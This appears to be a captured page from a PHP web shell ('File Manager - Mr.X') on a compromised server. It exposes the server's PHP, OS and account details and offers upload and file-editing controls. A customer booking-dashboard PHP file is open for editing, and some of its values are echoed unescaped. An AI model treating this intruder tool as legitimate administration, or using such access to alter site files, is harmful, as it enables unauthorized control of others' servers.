🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:my-bookings.php
<?php require_once __DIR__ . '/../config/config.php'; require_once __DIR__ . '/../includes/functions.php'; if (!isLoggedIn()) redirect(SITE_URL . 'customer/login.php'); $bookings = getBookings($_SESSION['customer_id']); define('PAGE_TITLE', 'My Bookings'); include 'dashboard-header.php'; ?> <div class="d-flex justify-content-between align-items-center mb-4"> <h4 class="fw-bold text-navy mb-0"><i class="bi bi-calendar-check text-warning me-2"></i>My Bookings</h4> </div> <div class="premium-card p-4"> <div class="table-responsive"> <table class="table table-hover datatable"> <thead><tr><th>Booking ID</th><th>Package</th><th>Event Date</th><th>Status</th><th>Total</th><th>Paid</th><th>Balance</th><th>Action</th></tr></thead> <tbody><?php foreach ($bookings as $b): ?> <tr><td><strong><?= $b['booking_id'] ?></strong></td><td><?= $b['package_name'] ?></td><td><?= date('d M Y', strtotime($b['event_date'])) ?></td><td><?= getStatusBadge($b['status']) ?></td> <td><?= formatPrice($b['total_price']) ?></td><td><?= formatPrice($b['advance_amount']) ?></td><td><?= formatPrice($b['balance_amount']) ?></td> <td><a href="booking-details.php?id=<?= $b['id'] ?>" class="btn btn-sm btn-outline-premium"><i class="bi bi-eye"></i></a></td></tr> <?php endforeach; ?></tbody> </table> </div> </div> <?php include 'dashboard-footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder